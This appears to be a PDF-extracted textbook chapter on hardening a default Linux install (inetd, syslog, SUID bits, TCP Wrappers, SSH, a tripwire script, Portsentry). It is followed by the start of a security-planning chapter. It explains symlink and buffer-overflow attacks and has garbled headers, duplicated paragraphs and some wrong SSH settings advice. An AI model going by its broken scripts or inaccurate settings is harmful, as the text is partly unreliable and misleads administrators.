The purpose of this module is to describe necessary measures that should be taken in order to secure a default Linux installation. Most default installations of Linux are grossly insecure. This module focuses on methods that can be used not only to secure a machine with a high degree of confidence, but still allow your users to be able to accomplish their work.

This paper does not cover procedures for securing a machine that is already on a network. As a rule, no machine should be placed on any network prior to its having been secured against local and remote attack. If a machine has already been compromised, none of the following procedures will improve the system’s security. In most cases, depending on the skill of the intruder, the machine will likely already be trojaned or backdoored. Applying the following security procedures on such a machine would only provide a false sense of security.

As a firm adherent to the philosophy of proactive security, the author does not recommend any attempt to “back-track” and attempt to secure machines that are already in place. It is best to freshly re-install and secure these machines from scratch. After all, it only takes one compromised machine to shatter the security posture of one’s entire network.

As a firm adherent to the philosophy of proactive security, the author does not recommend any attempt to “back-track” and attempt to secure machines that are already in place. It is best to freshly re-install and secure these machines from scratch. After all, it only takes one compromised machine to shatter the security posture of one’s entire network.

Because of the amount of material being covered, this paper will be divided into two parts:

Part I will deal with securing the system with the tools Linux provides. One exception to this rule is the inclu-sion of Secure Shell or SSH.

Part II will cover additional software the sysadmin can install, such as log analyzers, port monitors, and kernel modifications. Some of the built-in firewalling capabilities of Linux will also be examined in later part. Before undertaking the task of securing a machine, it is a advisable to determine the purpose that machine will serve. Will the system serve only as a web server, a mail server, or a combination of other services?

The server’s purpose should be planned well in advance, so the admin can best determine the approach to properly secure the machine. As cheap as computing power is these days, there is little justification for a single machine that is publicly exposed to the Internet to serve multiple functions. As a rule, a web server should provide only web services and should not provide FTP or SMTP services. By limiting the services a machine provides, the sysadmin can significantly limit the risk of the machine being compromised.

SECURIN

G U

NIX H

OST

317

Another thing for the admin to consider is the type of intruder they are trying to secure this machine against. While most admins prepare against attacks from outside, very few take any form of precaution against intruders from within their organization. This is known as a “hard crunchy shell with a soft chewy inside” security model. Such an approach is ill-advised, given recent statistics which indicate that 60 to 75 percent of computer intrusions are actually committed by insiders.

With the above in mind, this document will place special emphasis on securing the machine in such a way that it can readily repel both remote and local attacks.

Prerequisites

It is assumed that the reader already has a freshly-installed Linux machine with a freshly built kernel and wishes to secure it. Although this paper concentrates on securing a Slackware Linux machine, the concepts here can be applied to most any flavor of Linux or Unix, whether a SVR4 or BSD derivative. It is also assumed that the machine is already configured with a TCP/IP stack and is ready to be placed on a network. Under-standing of fundamental concepts of Unix (such as file permissions and editing scripts) will be helpful.

Properly securing a machine can be a daunting task; especially with the amount of new exploits surfac-ing on an almost daily basis. This paper is not meant to be a total security solution, but should instead be regarded as a guide to security through many of the measures that can be taken to protect a machine from intruders.

/etc/inetd.conf fields explained

service name

socket type (stream or datagram)

protocol type (TCP or UDP)

wait/nowait - If wait server will subsequently process all connections, if nowait server will exec a new server process for each connection

user

command Name

arguments (Optional)

SECU

RIN

G U

NIX

HO

ST

318

Any services preceded by a pound sign (#) are commented out and therefore will not be started at boot time.

Inetd is a daemon (also known as the SuperServer) whose purpose is to listen for TCP or UDP connections. When a connection is received, inetd passes that connection to the appropriate service.

As an example, if a user establishes an ftp connection to a machine, inetd will answer the connection and pass it off to the ftp daemon, ftpd. This reduces overhead on the machine by having one daemon listen for connections rather than each individual service listening on their own. It is important for the admin to know their /etc/inetd.conf file intimately as this is often where an intruder will place one of many backdoors.

The first step will be to open the /etc/inetd.conf file with a text editor and comment out any and all services which are not necessary to the system’s purpose. In general, the admin should be able to comment-out the overwhelming majority of the services in this file. Again, this depends on what sorts of services the machine is designated to provide. And for the purpose of a service-versus-security model, less is definitely more. If the admin is not sure if a particular service is needed, it’s best to turn it off. If the service is later deemed nec-essary, it can be re-enabled. The only caveat on re-enabling a previously disabled service is that the version being enabled must come from trusted source (eg, vendor media) and be the latest version with all applied patches. In short, the admin is strongly encouraged to do their research and know their software. After com-menting out unnecessary services inetd needs to be restarted so the changes just made will take effect.

# ps -auwx | grep inetd

# kill -HUP

RPC / NFS Services

Remote Procedure Call (RPC) and Network File Service (NFS) are a series of network protocols that allow a network of systems to operate as if they were a single machine. RPC essentially allows programs to run on a distributed basis across many machines. NFS allows a machine to share parts of its filesystem to a remote machine. Not surprisingly, both RPC and NFS are notoriously insecure and should be avoided at all costs. As an example, if NFS is set up incorrectly -- which is very easy to do -- any remote machine could feasibly mount that NFS partition and have access to the data within.

RPC and NFS connections are managed by the portmapper. The portmapper is a daemon that is called from /etc/rc.d/rc.inet2 on Slackware systems. If you are using another flavor of Linux or Unix you may have to do some searching to discover from what start-up script the portmapper and rpc services are called from. To do this, issue commands such as:

SECURIN

G U

NIX H

OST

319

# find /etc -name “*map*” -print | more

# find /etc -name “*nfs*” -print | more

# find /etc -name “*port*” -print | more

# find /etc -name “*rpc*” -print | more

The above commands should yield where the specific scripts to start these services reside in your /etc/rc.d hierarchy.

Since the value of using RPC and NFS services is usually outweighed by the insecurity of the protocols, these services will be disabled. In a text editor, open /etc/rc.d/rc.inet2. Go through each section of the file and determine what services to leave and which to comment out. The specific section we are looking for should look something like:

# Start the SUN RPC Portmapper.

if [ -f ${NET}/rpc.portmap ]; then echo -n “ portmap” ${NET}/rpc.portmap fi

We can comment out these lines and when the system is restarted, the portmapper will not be started. Take the time to go through this file line by line. Further down in the file is a section where the RPC services are called from, these can be commented out also.

It should also be noted that many Linux and Unix variants initiate the rc.d scripts which are prefaced by an “S”. Renaming these scripts so they are prefaced by a “K” will direct your server to kill said processes instead of starting them.

Logging

Logging on Unix system is handled by the syslogd daemon. As with Linux’s overall default security posture, the default logging leaves much to be desired. The global file that controls how logging is handled, and where log files are stored is the /etc/syslog.conf file:

-- sample syslog.conf section -- *.=info;*.=notice

/usr/adm/messages *.=debug

/usr/adm/debug -- sample syslog.conf

/etc/syslog.conf fields explained

Facility: The actual subsystem that provides the message. This may be one of the keywords listed below or an asterisk (*) for everything.

Syslog level (priority): Determines the severity of the message

Action: Determines how the information passed from syslogd will be handled.

320

Note: The facility and priority must be separated by a period. From the example above we can see that any ‘information’ or ‘notice’ messages produced by any of the subsystems facilities are logged to /usr/adm/mes-sages and all ‘debug’ messages produced by any subsystem is logged to /usr/adm/debug.

The following tables list the facility and priority keywords available:

Facility keywords

1. auth - logs information regarding user authentication

2. authpriv - Same as above but also provides authentication that may include privileged information such as usernames

3. cron - logs information associated with the cron daemon

4. daemon - logs information from system daemons

5. kern - logs kernel related messages

6. lpr - logs printer service related messages

7. mail - logs messages related to electronic mail

8. mark - used to generate timestamps in logfiles

9. news - logs messages related to internet news

10. security - same as auth

11. syslog - logs messages generated by syslog

12. user - logs messages generated by user programs

13. uucp - logs messages related to uucp

14. local0 - local7 - used for logging by customized programs

Priority keywords (from lowest to highest)

1. debug - logs debugging information

2. info - logs informational messages

3. notice - a condition that should be handled in a special way

4. warning - system warning

5. warn - same as above

6. err - system error

7. crit - critical condition

8. alert - condition that needs intervention

9. emerg - possible system crash

10. panic - system panic

321

Note: By default, syslog will log the priority selected in syslog.conf and all priorities above that priority. To log only a specific priority the equal (=) operator may be used:

mail.=info

This would log only informational messages related to electronic mail

Actions

• file - the path to log the information to, such as: /var/adm/messages

• terminal - log to a console, such as /dev/tty1

• printer - log to a printer, such as /dev/lp1

• @hostname - the hostname of a remote machine send logs to

• username - use ‘write’ to send messages to specified user

• named pipe - send logs to a FIFO file

Armed with this knowledge we can create a better syslog.conf file that is custom-tailored to our particular system.

Sample syslog.conf

-- begin sample syslog.conf --

As you can see we are still logging nearly everything to /usr/adm/messages, but we are also logging individ-ual facilities to individual log files. Though this will increase the amount of disk space used by the log files, it will also greatly increase your logging capabilities. Notice that multiple entries may appear on the same line as long as they are separated by a semicolon (;).

SECU

RIN

G U

NIX

HO

ST

322

SUID/SGID Binaries

SUID and SGID files are files with a special bit set on them that allow a regular user to run binaries with elevated privileges. As an example, the Sendmail program must access system resources that only the root user can normally access. By making the Sendmail program Set User ID (SUID) root, a regular user will still be able to run the program. A Group User ID (SGID) file follows the same approach but runs the binary with a group other than that of which the user belongs to. These files will often be the focus of malicious local users looking to gain unauthorized elevated privileges. These files are easy to spot because of the SUID/SGID flag:

# ls -al /usr/sbin/sendmail

r-sr-xr-x 1 root kmem 326329 Oct 15 01:21 /usr/sbin/sendmail

Notice in the user permission field for the files owner there is an ‘s’ where you normally find an ‘x’. This indi-cates the file is SUID and can be executed by a regular user even though the files runs with elevated privileg-es.

# ls -al /usr/sbin/foo

r-xr-sr-x 2 foo foo 14567 Oct 15 01:22 /usr/sbin/foo

In this example we find an ‘s’ in place of the executable bit in the group permissions field. This indicates the file is SGID and can be run by a regular user but with elevated group access.

Locating and Removing SUID/SGID Binaries

It is a good idea to determine what binaries on our system are SUID/SGID and try to reduce that list to the bare minimum. The following command will search the entire file system for SUID/SGID files and list them in a file called /tmp/suids. We are going to use this list as a script to remove unnecessary SUID/SGID files.

#find / \( -perm -4000 -o -perm -2000 \) -exec ls -ldb {} \; >> /tmp/suids

Now we can examine the /tmp suids file with an editor and remove any files from the list we wish to allow to remain running SUID/SGID. Most files that are set SUID/SGID can be run with more favorable permissions. Another option to removing the SUID and SGID bits is to refine the access control to limit access to those files to a particular group.

After we have determined which files we wish to remain running SUID/SGID we can use vi to convert our file into a script.

SECURIN

G U

NIX H

OST

323

cat /tmp/suids |cut -b55-200 > $HOME/remove_suid.sh

cd

vi remove_suid.sh

:%s/ \//chmod -s \//g

<return>

Add the following to the top of the file:

#!/sbin/sh

:wq!

chmod 700 remove_suid.sh

./remove_suid.sh

The script will then strip the SUID and SGID bits from any files that were left on our list. After running the script run the above find command again to ensure the bits were stripped properly. Ensure these files are removed from the /tmp and $HOME directories once the script has been executed.

TCP-Wrappers

TCP-Wrappers is an access control mechanism for TCP and UDP services written and maintained by Wietse Venema. Fortunately, TCP Wrappers comes default with most flavors of Linux. If for some reason you do not have TCP Wrappers on your system, it can be obtained from ftp://ftp.porcupine.org/pub/security.

TCP-Wrappers are designed to restrict TCP or UDP services called from inetd to particular host names and or IP addresses. They can also be used to restrict certain hostnames and or IP addresses from accessing TCP and UDP services.

This is done through two separate access control lists. The first, /etc/hosts.allow determines what hosts are allowed to connect to what services. The second file, /etc/hosts.deny determine what hosts are specifically restricted from what services. These access control lists provide a powerful and flexible method for allowing and denying access to a system. First we will examine a sample /etc/hosts.allow file:

-- sample /etc/hosts.allow file --

wu.ftpd: 192.168.1.1, 192.168.1.2

ipop3d: barney

-- sample /etc/hosts.allow file --

SECU

RIN

G U

NIX

HO

ST

324

The syntax of the file is fairly obvious. In the above example we are allowing ftp access to the two IP address-es listed and pop access to the host ‘barney’.

Typically setting up the /etc/hosts.deny file is even easier as we can see in below:

-- sample /etc/hosts.deny file --

ALL: ALL

-- sample /etc/hosts.deny file --

At first glance it may seem we are restricting access to the system’s services to everyone. By setting up our access control list in this fashion we are following the golden rule of “that which is not expressly permitted is denied”. Essentially we are denying everyone access to all services called from inetd.conf with the exception of the hosts listed in the /etc/hosts.allow file. Obviously this is a much better policy than the flipside which is “everything is allowed except that which is forbidden”.

These concepts may seem confusing but they are very simple. It is much easier to deny everything to ev-eryone then set up allows for specific trusted hosts than to try and allow everything to everyone with the exception of certain untrusted hosts.

TCP Wrappers also contains other specialized functions such as the ability to set customized logging vari-ables and also display a banner upon connection to certain services. Be sure to consult the documentation included with the distribution to use these features.

SSH

There is no sane reason to still be using telnet to remotely connect to a machine. With programs like telnet, all of our data is sent across the wire unencrypted. SSH is a client-server utility that provides an encrypted tunnel between two or more machines.

Obtaining and Installing SSH

SSH v1.2.27 may be obtained from ftp://ftp.cs.hut.fi/pub/ssh/. Installing SSH is rather straightforward. For a standard installation it is a matter of running the ‘configure script’, executing ‘make’ and then ‘make install’.

See the README for compile-time options to SSH. During installation a global configuration file will be installed in /etc/sshd_config. Some of the defaults entries for the configuration file are not very security conscious and can be tightened up a bit. Following is a description of the default entries.

Port 22

Defines what port the SSH daemon will listen on. Port 22 is the standard port for SSH.

ListenAddress 0.0.0.0

Interface to bind the SSH daemon to. Unless you are running a multi-homed host we can leave the default.

SECURIN

G U

NIX H

OST

325

HostKey /etc/ssh_host_key - File containing the host’s keys.

RandomSeed /etc/ssh_random_seed - File containing the random seed.

IdleTimeout 30m - Determines how long an idle client may remain connected before being automatically disconnected. This should be set to a reasonable number. This is a flexible option and can be specified in (s)econds, (m)inutes, (h)ours, (d)ays, or (w)eeks.

ServerKeyBits 768 - The number of bits for the server key.

LoginGraceTime 300 - Sets the time, in seconds, that the SSHD daemon will wait for a connected client to authenticate. Allowing a client 300 seconds to authenticate is a bit extreme and should be lowered.

KeyRegenerationInterval 600 - Sets the interval for the regeneration of new keys. 600 seconds is a reason-able default.

PermitRootLogin no - Allow/disallow root logins. Root should never be allowed to login remotely, that is what su is for.

IgnoreRhosts yes - If set to yes all $HOME/.rhosts are ignored. The /etc/hosts.equiv file is unaffected by this option.

StrictModes yes - If set to the default of ‘yes’ the SSH daemon will not allow access to a user whose home directory is owned by a different user.

QuietMode no - If set to ‘no’ all logging will be suppressed except for fatal errors. Normal connection re-quests for SSH are handled through the syslog daemon. Unless you are trying to debug an error this can be set to ‘no’.

X11Forwarding no - If set to ‘yes’ the X Windows System forwarding is allowed. I typically do not use X Win-dows and set this to ‘no’.

X11DisplayOffset 10 - Specifies the first X Windows display available to SSH for forwarding.

FascistLogging yes - If set to yes, the SSH daemon will provide extra logging that can be useful for debug-ging purposes.

PrintMotd yes - If set to ‘yes’, the /etc/motd will be displayed after a user authenticates.

KeepAlive yes - If set to ‘yes’, the SSH daemon will periodically check the status of a connection. If connec-tivity cannot be verified the connection will be closed.

SECU

RIN

G U

NIX

HO

ST

326

SyslogFacility DAEMON - The default syslog facility.

RhostsAuthentication no - If set to ‘no’ does not allow .rhosts or /etc/hosts.equiv authentication.

This should never be set to yes under any circumstances.

RhostsRSAAuthentication no - Enables or disables RSA Key Authentication. This should be set to ‘no’.

RSAAuthentication no - Enables and disables RSA Authentication.

PasswordAuthentication yes - Enables or disables password authentication. For obvious reasons, this should never be set to ‘no’.

PermitEmptyPasswords no - If set to ‘yes’ users with blank passwords may still authenticate. Obviously this should be set to ‘no’.

The sshd_config file also provides an additional layer of protection by allowing only specific IP addresses to connect.

The following entry will allow users to connect from only the IP address listed:

#Restrict connections to one IP address

AllowHosts 192.168.1.1

Currently our SSH daemon has not been started. Now that we have made the desired changes to the sshd_config file we may start it by invoking:

# /usr/local/sbin/sshd

On Slackware systems, the /etc/rc.d/rc.inet2 file will start the SSH daemon automatically when the system is rebooted. If you are using a different flavor of Linux you may have to add an entry to your rc.local file. Cur-rently our SSH daemon has not been started. Now that we have made the desired changes to the sshd_con-fig file we may start it by invoking:

# /usr/local/sbin/sshd

On Slackware systems, the /etc/rc.d/rc.inet2 file will start the SSH daemon automatically when the system is rebooted. If you are using a different flavor of Linux you may have to add an entry to your rc.local file.

SECURIN

G U

NIX H

OST

327

Using SSH

Using SSH to connect to a remote host is as easy as using telnet. The general syntax is:

$ ssh -l hostname

Included with the SSH package is another incredibly handy utility, Secure Copy (SCP). SCP, as it’s name implies, is a secure method to copy files from one host to another. This can all but eliminate the systems administrator’s need for running ftpd to transfer files insecurely. The general syntax for SCP is:

$ scp :/path/to/file /path/to file/on/local/machine

As an example let’s say we wish to copy the file /etc/foo from host spanky to host alfalfa. The following is a capture of that session:

$ scp spanky:/etc/foo /etc/foo user@remotehost.com’s password:foo | 0 KB | 0.0 kB/s | ETA: 00:00:00 | 100% $

SSH also contains a wealth of other features such as secure X11 Port Forwarding, and application proxying. Take the time to read the documentation that is included with the distribution. (I generally do ./configure --without-x because I do not trust X.)

Tripwires

Tripwire is a commercial program that can be used to monitor and detect changes to critical files and bina-ries on your system. Often times an attacker will replace a binary on a system with a trojaned version. As an example, the ‘ps’ command is frequently trojaned binary. The attacker can configure the trojaned version of ‘ps’ to hide any system processes, such as a sniffer, from the machines administrator. The heart of tripwire is the MD5 series of encryption algorithms. MD5 works by taking a message (this can be a binary file or a text file) as it’s input, and producing a 128-bit digital fingerprint as it’s output. An example is shown below.

b38674b49f679a4ecdd47b7e0642dc85

Generally a database of fingerprints for important system binaries and files is generated and kept offline or read-only media. If an attacker was to modify the ps binary in any way and we generated a new fingerprint, it would be drastically different than the first fingerprint we generated. Keeping the fingerprint database stored offline or on read-only media cannot be stressed enough. If this database is kept online and attacker could easily trojan a system and then generate new fingerprints to the database. The next time fingerprints were reconciled, the prints would match. This also goes back to what I said about proactive security. If you are implementing a tripwire on a system that is already in place, you may be generating fingerprints for bi-naries that had already been trojaned. Another reason why it is best to start out on a freshly installed system.

SECU

RIN

G U

NIX

HO

ST

328

Essentially Tripwire is a program written around the MD5 algorithm. I have always found it to be a bit cum-bersome so we will take a look at building a home-made tripwire using readily available software. Depend-ing on your needs, if you’d prefer to use the commercial product it may be obtained from www.tripwire.com.

Now we will take a look at setting up a home-made tripwire. First we need to generate a set of known good fingerprints. A minimal set of recommended binaries to tripwire are already in the script. The script is gener-ic and can be easily modified to suit your needs.

Note: This script relies on the md5sum utility which is a default package for most Linux installations. If md-5sum is not installed on your system, it may be downloaded from: ftp://ftp.pgp.net/pub/pgp/utils/md5sum/.

--begin generate.sh--

#!/bin/sh

#Generate a set of known-good fingerprints for important system files

#Make sure you have a blank floppy formatted with the ext2 file system

#in /dev/fd0 mount -t ext2 /dev/fd0 /mnt md5sum

/sbin/ifconfig > /mnt/database.orig

md5sum /bin/netstat >> /mnt/database.orig

md5sum /usr/bin/who >> /mnt/database.orig

md5sum /usr/bin/md5sum >> /mnt/database.orig

md5sum /bin/ls >> /mnt/database.orig md5sum

/bin/ps >> /mnt/database.orig

md5sum /usr/sbin/syslogd >> /mnt/database.orig

md5sum /sbin/ifconfig >> /mnt/database.orig

md5sum /usr/sbin/inetd >> /mnt/database.orig

sleep 5 umount /dev/fd0

We now have a known clean set of fingerprints for our important system files on a floppy disk. Be sure to write-protect the floppy via the physical tab located on the floppy disk, or optimally, burn the fingerprints to CD-ROM.

The following script will generate a new set of fingerprints called /tmp/databse, mount the media which the known good set of prints is contained on, compare the two sets of fingerprints, and then take appropriate measures. The /tmp/database file will then be removed and the media with the known-good set of prints will be unmounted. Once again this script can be easily tailored to suit your particular needs.

Note: This script can be run from cron on whatever basis you feel is necessary. If paranoid, once an hour wouldn’t hurt. Ensure the permissions on the /tmp directory are readable and writable by root only. Also en-sure that you save this file with the proper file permissions, otherwise all the work we have done can easily be thwarted by a clever attacker. The following crontab will run this script once an hour:

SECURIN

G U

NIX H

OST

329

#!/bin/sh

# A customizable tripwire

# Mount our known-good fingerprint database

# Change /dev/fd0 to suit your needs mount -t ext2 /dev/fd0 /mnt

# additionally add to email to root?

if [ $? -ne 0 ] then echo “Aborting, perhaps disk is not in drive?” exit 99 fi

# this gets run in 2 situations, what the hell: RMS() { rm -f /tmp/database /tmp/diffs }

# Generate a new batch of fingerprints and temporarily store them in /tmp/database sleep 5

md5sum /sbin/ifconfig > /tmp/database

md5sum /bin/netstat >> /tmp/database

md5sum /usr/bin/who >> /tmp/database

md5sum /usr/bin/md5sum >> /tmp/database

md5sum /bin/ls >> /tmp/database md5sum

/bin/ps >> /tmp/database

md5sum /usr/sbin/syslogd >> /tmp/database

md5sum /sbin/ifconfig >> /tmp/database

md5sum /usr/sbin/inetd >> /tmp/database sleep 5

# DIAGNOSTICS

# An exit status of 0 means no differences were found,

# 1 means some differences were found, and 2 means trouble.’

# ‘create temp file of diffs:’

# Compare the newly generated set of fingerprints to the known good set

diff /tmp/database /mnt/database.orig > /tmp/diffs

# ‘$? is the exit code of the previous command’ EXIT=$?

# if all is well mail will be sent to root

if [ $EXIT -eq 0 ] then echo “Finger Prints match” | mail -s FingerPrints root RMS ;

# run the rm function

umount /mnt exit 0 ;

# no need to run the rest of the program, die fi

# rest of program assumes things have gone badly....

# Insert this as the first line of the body # and pipe to mail:

# If fingerprints don’t match mail root stating so sed ‘1iBAD MATCH! SHAME ON AD-MIN! ‘

SECU

RIN

G U

NIX

HO

ST

330

/tmp/diffs | mail -s FingerPrints root

# ‘changed rm flag to -f so your

# program does not crap out if

# it does not find the file’ RMS umount /mnt

# Additionally send mail to our pager stating we have a problem

# Something bad has happened so halt the machine after the page has been

# sent. if [ $EXIT -ne 0 ] then echo “Possible System Compromise” | mail -s “Badmatch!” pager@pagemart.net

sleep 30

shutdown -h now

If you take the time to walk through your filesystem and ensure that both file and group permissions are rea-sonable you should then have a secure Linux machine. In the next article additional measures and software will be discussed that can be used to further secure the machine. Remember, the security of a machine is an on-going job. Stay current with new exploits and vulnerabilities. Know your system and know your software. It is always a good idea to frequently audit your system to make sure none of the controls you have put into place have been compromised.

One other thing to keep in mind is the physical security of a machine. Yes, you may have spent the greater part of a day securing that box but it only took Bob the Disgruntled Employee five minutes to reboot the system with installation USB and add himself a root account. If the machine must remain in a place accessi-ble to others invest in USB drive locks or remove the USB drive altogether.

SECURIN

G U

NIX H

OST

331

Kernel Modifications - http://www.openwall.com/linux/

Many kernel level modifications are available to help increase system security. Even if an attacker was to gain root access to a machine it would be difficult, if not impossible, to circumvent some of these security measures. Naturally, in order to take advantage of these tools you must be familiar with rebuilding a kernel. Typically the modifications come in the form of a patch to apply to the Linux source code. After applying the patch, a fresh kernel is then built. Kernel patches tend to favor more recent kernels.

One of the most popular and widely used set of patches is from the Openwall Project, written by Solar Designer. This patch adds a series of security related features to the Linux kernel that can be configured in the “security options” section during kernel configuration. Some of the features of Solar Designers’ patch include:

Non-executable user stack area

One of the most popular and widely used exploits today is the common buffer overflow. A buffer overflow occurs when excess data is stuffed into a buffer and the function return address is altered to point at shell code which will be executed, typically spawning a shell with the access level the particular program runs at. This patch will generally defeat buffer overflows by disallowing the execution of code on the stack.

Restricted links in /tmp

A popular method for local users to gain elevated system privileges, or just to wreak havoc, is through what is known as a “/tmp symlink” attack. On Unix systems, the /tmp directory is world writable and is used to store temporary files generated by various programs. For example, when root runs the program “foo” it might create a temporary file called foo.tmp in /tmp. A malicious local user could create a symlink to /kernel from /tmp/foo.tmp. When foo is run and creates the temporary file, the link may be followed and /kernel overwritten. Another form of this attack is if the user creates a link from /tmp/foo.tmp to /etc/shadow. They can then cat /tmp/foo.tmp which blindly follows the link to /etc/shadow and they can then view the con-tents of the shadow password file, or potentially add entries to the shadow file. This patch defeats this by not allowing users to create hard or soft links to files they do not own from a directory containing the sticky bit (+t).

Restricted /proc

By default a regular user on a Linux system can view running processes that are owned by other users. This is potentially valuable information. A regular user really has no need to know what other processes are run-ning on the system in question. This patch restricts users to viewing only processes owned by them.

SECU

RIN

G U

NIX

HO

ST

332

Additional Logging Measures

By default Linux does not log all TCP connections, but rather only connections to “well-known” ports, or those ports listed in the /etc/services file. In this day and age this is woefully inadequate. Linux does not include any means to log any additional ports besides those listed in /etc/services. However, there are tools that can be added to log any TCP connection to any port. Although extended logging mechanisms can make it easier to determine if a system is under attack, it can also make it more difficult at the same time by vastly increasing the amount of logs generated, and could even in some cases lead to a denial of service by overfilling the drive where logging takes place.

tcplogd - http://www.kalug.lug.net/tcplogd/

tcplogd is a daemon that monitors and logs any tcp connection to a machine, via the syslog facility. tcplog will detect most stealth SYN scans in use by popular scanners like nmap and queso. The tcplogd installation includes a configuration file, tcplogd.cf. This files allows the system administrator to configure what packets tcplogd will actually log to the system log files. As an example, you can exclude the logging of TCP connec-tions from a trusted host. It may be desirable to disable logging of the machine used to scan machines for vulnerabilities on your network. This would greatly reduce the amount of traffic generated in the log files. For example, if you run the following command against the machine running tcplogd:

$ nmap -p1-1024 foo.com

1024 entries would appear in /var/log/messages, 1 entry for every single connection attempt.

icmpinfo - ftp://ftp.sunet.se/pub/network/monitoring/icmpinfo/

icmpinfo is a useful tool, included with the Slackware distribution, that logs all icmp traffic via the syslog facility. Many options are available to the icmpinfo program to determine the verbosity of messages. As an example, icmpinfo can be used to generate an ascii dump of any icmp traffic received:

regret:~# /usr/sbin/icmpinfo -vvv

Important Note

A program exists on the internet called tcplog.c that basically works the same way as tcplogd . There exists a possible buffer overflow in this package and it’s use should be avoided.

SECURIN

G U

NIX H

OST

333

The Abacus Project - http://www.psionic.com/abacus/

The Abacus Project is a suite of tools, designed by Craig Rowland, that includes portscan detection (Portsen-try) and log monitoring (Logcheck). These tools are both very powerful and easy to configure and compli-ment each other perfectly.

Portsentry

Portsentry is a portscan detection tool that can be run on a host as an additional security measure. Portsen-try listens on ports read from a configuration file and can take action, as defined in the configuration file. The response Portsentry takes may be as simple as adding the the IP Address of the source of the scan to the /etc/hosts.deny file or even dropping the actual route back to the originating computer. To the attacker, this would make it appear as if the target machine dropped its connection. Portsentry can also be configured to ignore connections from trusted hosts. One thing to keep in mind is that it is rather trivial for an attacker to spoof an attack so it appears to be coming from a trusted host. It is really up to the system administrator to determine if any hosts should be ignored or not. Also, if Portsentry is being run on a remotely administered machine , and no hosts are specified in the portsentry.ignore file it is possible to lock yourself out of the ma-chine by simply running a portscan against it if Portsentry is configured to drop the route of an “attacker”.

Portsentry only listens on those ports the administrator wishes it to. Typically this can be set to listen to com-monly trojaned ports, or ports that run known-vulnerable services.

Logcheck

Logcheck is a program that is used to help in the processing of Unix log files. The program contains config-uration files that can be set up to watch for certain events in the log files, and mail a report of those events to the system administrator. This can make the job of monitoring log files much easier for the administrator. Rather than wading through large quantities of log files looking for suspicious activity, Logcheck can do the same, at set intervals when run from the cron facility. Logcheck is also very flexible in that certain events can be ignored in reports. As an example, there is really no reason to report every time a user on the particular machine sends or receives a piece of mail.

SECU

RIN

G U

NIX

HO

ST

334

-- begin sample logcheck report --

Active System Attack Alerts =-=-=-=-=-=-=-=-=-=-=-=-=-= Apr 18 09:09:29

regret portsentry[57]: attackalert: Connect from host: badguys.com/192.168.1.1 to TCP port: 31337

Apr 18 09:09:29 regret portsentry[57]:

attackalert: Host 192.168.1.1 has been blocked via wrappers with string: “ALL: 192.168.1.1”

Apr 18 09:09:29 regret portsentry[57]:

attackalert: Host 192.168.1.1 has been blocked via dropped route using command: “/sbin/ipfwadm -I -i deny -S 192.168.1.1 -o”

Security Violations =-=-=-=-=-=-=-=-=-= Apr 18 09:09:29 regret portsen-try[57]:

attackalert: Connect from host: badguys.com/192.168.1.1 to TCP port: 31337 Apr 18 09:09:29 regret portsentry[57]:

attackalert: Host 192.168.1.1 has been blocked via wrappers with string: “ALL: 192.168.1.1” Apr 18 09:09:29 regret portsentry[57]:

attackalert: Host 192.168.1.1 has been blocked via dropped route us-ing command: “/sbin/ipfwadm -I -i deny -S 192.168.1.1 -o” Unusual System Events =-=-=-=-=-=-=-=-=-=-= Apr 18 09:09:29 regret tcplog: port 31337 connection attempt from badguys.com Apr 18 09:09:29

regret portsentry[57]: attackalert: Connect from host: badguys.com/192.168.1.1 to TCP port: 31337 Apr 18 09:09:29 regret portsentry[57]: attackalert: Host 192.168.1.1 has been blocked via wrappers with string: “ALL: 192.168.1.1”

Apr 18 09:09:29 regret portsentry[57]: attackalert: Host 192.168.1.1 has been blocked via dropped route using command: “/sbin/ipfwadm -I -i deny -S 192.168.1.1 -o”

-- end sample logcheck report --

SECURIN

G U

NIX H

OST

335

As we can see from the sample report, an attacker at badguys.com attempted to probe our system for Netbus on TCP port 12345. But since we have Portsentry listening for connections on that port, the connec-tion was detected and the the route back to the attacker at badguys.com was dropped using the ipfwadm command.

Dropping the route to a host for a simple probe such as this may seem a bit fascist. It is entirely up to the system administrator how these types of probes should be handled.

It should be noted that if the box is rebooted, all routes dropped through portsentry will be re-enabled.

Staying Current

Although it can be a time consuming task, when responsible for maintaining the security of many servers, it is extremely important to ensure that each system is patched for current vulnerabilities. One thing to bear in mind is that what is secure today is not necessarily secure tomorrow. Be sure to follow the proactive philoso-phy of security and stay current with new vulnerabilities and attack methods.

It is always a good idea to have a system set up in a closed laboratory environment to try new attacks against. Knowing what the “fingerprints” of attacks actually look like will make it much easier to determine what is happening on your “live” systems.

Be sure to subscribe to any security related mailing lists for whatever flavor(s) of Operating Systems you are responsible for protecting.

SUMMARY

Over the course of modules many methods have been discussed to secure a default Linux installation. One thing to bear in mind is there is no “fail-safe” checklist of measures that can be used to guarantee the securi-ty of a system, whether it be Linux, Solaris, FreeBSD, or any other operating systems.

Typically those responsible for securing a system will develop their own checklists and methods. The more you learn about security, and the methods attackers use to circumvent that security, the better you will be able to secure a machine to a comfortable level. Remember, the only machine that is 100% secure is that which is disconnected from the network and locked in a steel vault with an armed guard.

SECU

RIN

G U

NIX

HO

ST

336

Security Planning

Chapter Overview

In this chapter, the reader will come to recognize the importance of planning and learn the principal compo-nents of organizational planning as well as gaining an understanding of the principal components of infor-mation security system implementation planning as it functions within the organizational planning scheme.

Chapter Objectives

When you complete this chapter, you will be able to:

• Recognize the importance of planning and describe the principal components of organizational plan-ning.

• Know and understand the principal components of information security system implementation plan-ning as it functions within the organizational planning scheme.

Introduction

In general, a successful organization depends on proper organizational planning.

In a setting where there are continual constraints on resources, both human and financial, good planning enables an organization to make the most out of the resources at hand.

Planning usually involves groups and organizational processes internal or external to the organization. They can include employees, management, stockholders, other outside stakeholders, the physical environment, the political and legal environment, the competitive environment, and the technological environment.

The major components of a strategic plan include the vision statement, mission statement, strategy, and a series of hierarchical and departmental plans.

Developing the organizational plan for information security depends upon the same planning process.

Since the information security community of interest seeks to influence the broader community in which it operates, the effective information security planner should know how the organizational planning process works so that participation in the process can yield meaningful results.

The dominant means of managing resources in modern organizations, planning is the enumeration of a se-quence of action steps intended to achieve specific goals, and then controlling the implementation of these steps.

Planning provides direction for the organization’s future.

Organizational planning should be undertaken using a top-down process in which the organization’s lead-ers choose the direction and initiatives that the entire organization should pursue.

The primary goal of the organizational planning process is the creation of detailed plans: systematic direc-tions on how to meet the organization’s objectives. This is accomplished with a process that begins with the general end ends with the specific.

MA

NA

GIN

G SECU

RITY

337

Components of Organizational Planning

Mission

